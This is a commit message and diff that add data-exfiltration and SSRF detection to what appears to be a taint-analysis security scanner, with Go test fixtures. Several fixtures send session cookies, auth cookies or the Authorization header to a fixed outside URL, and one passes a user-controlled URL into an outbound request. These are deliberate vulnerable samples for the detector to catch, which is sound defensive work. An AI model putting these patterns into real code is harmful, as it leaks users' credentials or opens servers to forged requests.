Added Cap::DATA_EXFIL and taint fp and fn fixes on real repos (#59)

* feat: Enhance data exfiltration detection with source sensitivity gating for cookies and headers

* feat: Implement cross-file data exfiltration detection with parameter-specific gate filters

* feat: Add calibration tests and refine DATA_EXFIL severity scoring logic

* feat: Introduce per-detector configuration for data exfiltration suppression

* feat: Enhance DATA_EXFIL findings with destination field tracking in diagnostics and SARIF output

* feat: Add tainted body and URL handling for data exfiltration detection

* feat: Add integration tests and fixtures for DATA_EXFIL and SSRF detection in Go

* feat: Add Java integration tests and fixtures for DATA_EXFIL detection across multiple HTTP clients

* feat: Add synthetic externals handling for closure-captured variables in SSA

* feat: Implement closure-based suppression for resource leak findings

* feat: Add regression guards for shell-injection and taint propagation in for-of destructure patterns

* feat: Implement constructor cap narrowing for data exfiltration detection in HTTP request builders

* feat: Add gated sinks for data exfiltration detection in C and C++ using curl_easy_setopt

* feat: Implement DATA_EXFIL cap parity for backwards analysis and add integration tests

* feat: Add data exfiltration sinks for various languages and enhance documentation

* refactor: Simplify formatting and improve readability in various files

* refactor: Improve readability by simplifying conditional statements and adding clippy linting

* docs: Update CHANGELOG and comments for data exfiltration features and configuration

* docs: Clarify configuration instructions for data exfiltration trusted destinations

* docs: Enhance comments for evidence routing logic in data exfiltration

tests/fixtures/go/data_exfil_http_post.go

@@ -0,0 +1,19 @@
+// DATA_EXFIL fixture: a fixed destination URL and a Sensitive (cookie)
+// source flowing into the outbound body of `http.Post`.  SSRF must NOT
+// fire (URL is hardcoded, position 0) but `Cap::DATA_EXFIL` must fire on
+// the body (position 2) — the auth cookie is exactly the cross-boundary
+// state DATA_EXFIL targets.
+//
+// Driven by `data_exfil_go_integration_tests.rs`.
+package fixture
+
+import (
+	"net/http"
+	"strings"
+)
+
+func leakCookie(r *http.Request) {
+	c, _ := r.Cookie("session")
+	body := strings.NewReader(c.Value)
+	http.Post("https://analytics.internal/track", "text/plain", body)
+}

tests/fixtures/go/data_exfil_map_assign.go

@@ -0,0 +1,27 @@
+// Container-taint DATA_EXFIL: a `map[string]string` is populated with
+// Sensitive cookie values across two keys, then encoded as form data and
+// shipped as the body of an outbound `http.PostForm`.  The Go SSA heap
+// model marks the map's `Elements` slot tainted on every `payload[k] =
+// ...` write; the sink-side `collect_tainted_sink_values` heap-loads
+// the same slot when checking the form-data argument, so DATA_EXFIL
+// must fire on the body channel even though the local map name itself
+// is not directly tainted by an Assign.  Pairs with
+// `data_exfil_post_form.go` (single-write `url.Values` literal — no
+// container-mutation step).
+//
+// Driven by `data_exfil_go_integration_tests.rs::map_assign_data_exfil`.
+package fixture
+
+import (
+	"net/http"
+	"net/url"
+)
+
+func leakSessionMap(r *http.Request) {
+	c, _ := r.Cookie("session")
+	a, _ := r.Cookie("auth")
+	form := url.Values{}
+	form["session"] = []string{c.Value}
+	form["auth"] = []string{a.Value}
+	http.PostForm("https://analytics.internal/track", form)
+}

tests/fixtures/go/data_exfil_new_request_do.go

@@ -0,0 +1,24 @@
+// DATA_EXFIL fixture for the two-step `http.NewRequest` → `client.Do`
+// idiom.  `http.NewRequest` is modeled as a body propagator (default
+// arg → return propagation lifts body taint onto the returned
+// `*http.Request`); the outbound network call happens at
+// `http.DefaultClient.Do`, where the DATA_EXFIL gate fires on the
+// request argument.
+//
+// SSRF must NOT fire (URL is hardcoded at NewRequest's URL position) and
+// the cookie-derived body must surface DATA_EXFIL at the Do call.
+//
+// Driven by `data_exfil_go_integration_tests.rs`.
+package fixture
+
+import (
+	"net/http"
+	"strings"
+)
+
+func leakViaNewRequest(r *http.Request) {
+	c, _ := r.Cookie("session")
+	body := strings.NewReader(c.Value)
+	req, _ := http.NewRequest("POST", "https://analytics.internal/track", body)
+	http.DefaultClient.Do(req)
+}

tests/fixtures/go/data_exfil_post_form.go

@@ -0,0 +1,18 @@
+// DATA_EXFIL fixture: a Sensitive (header) source flowing into the form
+// payload of `http.PostForm` (arg 1, `url.Values`).  The destination URL
+// is hardcoded so SSRF does not fire; only the form-data path activates
+// the body-position gate.
+//
+// Driven by `data_exfil_go_integration_tests.rs`.
+package fixture
+
+import (
+	"net/http"
+	"net/url"
+)
+
+func leakAuthHeader(r *http.Request) {
+	auth := r.Header.Get("Authorization")
+	form := url.Values{"token": []string{auth}}
+	http.PostForm("https://analytics.internal/track", form)
+}

tests/fixtures/go/data_exfil_user_input_silenced.go

@@ -0,0 +1,19 @@
+// DATA_EXFIL silenced regression fixture: plain user input echoed into
+// the body of an outbound `http.Post` to a fixed URL must NOT fire
+// `Cap::DATA_EXFIL`.  The user already controls `r.FormValue("msg")`, so
+// surfacing it back into the request payload is not a cross-boundary
+// disclosure.  Source-sensitivity gating in `ast.rs` strips the cap.
+//
+// Driven by `data_exfil_go_integration_tests.rs`.
+package fixture
+
+import (
+	"net/http"
+	"strings"
+)
+
+func forwardUserInput(r *http.Request) {
+	msg := r.FormValue("msg")
+	body := strings.NewReader(msg)
+	http.Post("https://analytics.internal/track", "text/plain", body)
+}

tests/fixtures/go/ssrf_url_tainted.go

@@ -0,0 +1,18 @@
+// SSRF regression fixture: attacker-controlled destination URL flows
+// into `http.NewRequest`'s URL position (arg 1).  SSRF must fire on the
+// URL flow; DATA_EXFIL must NOT fire (the body is hardcoded `nil`).
+// Cap attribution is per-position so a tainted URL never surfaces as
+// data exfiltration.
+//
+// Driven by `data_exfil_go_integration_tests.rs`.
+package fixture
+
+import (
+	"net/http"
+)
+
+func proxy(r *http.Request) {
+	target := r.URL.Query().Get("target")
+	req, _ := http.NewRequest("GET", target, nil)
+	http.DefaultClient.Do(req)
+}